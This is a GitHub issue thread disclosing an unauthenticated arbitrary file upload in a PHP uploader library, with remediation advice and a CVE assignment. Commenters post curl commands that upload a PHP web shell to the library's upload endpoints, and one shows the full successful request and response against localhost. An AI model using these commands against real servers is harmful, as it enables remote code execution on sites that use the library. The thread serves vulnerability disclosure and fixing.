Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Arbitrary file uploads #23

Open
lcashdol opened this issue Feb 19, 2019 · 8 comments
Open

Arbitrary file uploads #23

lcashdol opened this issue Feb 19, 2019 · 8 comments

Comments

@lcashdol
Copy link

By defaut, this code allows arbitrary file uploads to the web server's path. This will allow any unauthenticated user to upload a PHP file to the web server's path and execute it.

@bscript
Copy link

bscript commented Nov 26, 2019

curl -vk site/[path]/default/php/ajax_upload_file.php -F "uploader-single-file=@file.php" -F "files=b.php" -F "upload_dir=dir"

@lenamtl
Copy link

lenamtl commented Aug 31, 2022

Hi,
Which solution did you use to prevent this?

@lcashdol
Copy link
Author

lcashdol commented Sep 7, 2022

You'd need to modify the code to either store uploaded files in a path not in the web root or filter what types of files are allowed to be uploaded.

@lenamtl
Copy link

lenamtl commented Sep 9, 2022

So does setting the 'uploadDir' => null, for dir will prevent this when called directly?

protected $options = array(
        'limit' => null,
        'maxSize' => null,
        'extensions' => array('JPG', 'jpg'), 
        'required' => false, 
        'uploadDir' => null,
        'title' => array('auto', 10),
        'removeFiles' => true,
        'perms' => null,
        'replace' => true,
        'onCheck' => null,
        'onError' => null,
        'onSuccess' => null,
        'onUpload' => null,
        'onComplete' => null,
        'onRemove' => null
    );

And how this command can be run from the browser or how can I try to reproduce it so I can test the fix?

Thanks

@lcashdol
Copy link
Author

I'd make the uploadDir /var/tmp

@lcashdol
Copy link
Author

bscript's above exploit will work to test from the Linux command line.

@lcashdol
Copy link
Author

My exploit looked like this:

$ curl -vk http://localhost/php-uploader/examples/upload.php -F "files=@shell.php"

  • Trying ::1...
  • TCP_NODELAY set
  • Connected to localhost (::1) port 80 (#0)

POST /php-uploader/examples/upload.php HTTP/1.1
Host: localhost
User-Agent: curl/7.52.1
Accept: /
Content-Length: 9376
Expect: 100-continue
Content-Type: multipart/form-data; boundary=------------------------9acb3f20a7222918

< HTTP/1.1 100 Continue
< HTTP/1.1 200 OK
< Date: Tue, 20 Sep 2022 16:15:13 GMT
< Server: Apache/2.4.25 (Debian)
< Vary: Accept-Encoding
< Content-Length: 734
< Content-Type: text/html; charset=UTF-8
<
Array
(
[files] => Array
(
[0] => uploads/09ENdXG85W.php
)

[metas] => Array
    (
        [0] => Array
            (
                [date] => Tue, 20 Sep 2022 12:15:13 -0400
                [extension] => php
                [file] => uploads/09ENdXG85W.php
                [name] => 09ENdXG85W.php
                [old_name] => shell.php
                [replaced] => 
                [size] => 9174
                [size2] => 8.96 KB
                [type] => Array
                    (
                        [0] => application
                        [1] => octet-stream
                    )

            )

    )

)

  • Curl_http_done: called premature == 0
  • Connection #0 to host localhost left intact

@lcashdol
Copy link
Author

I'm going to assign a CVEid of CVE-2022-40721 to track this.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants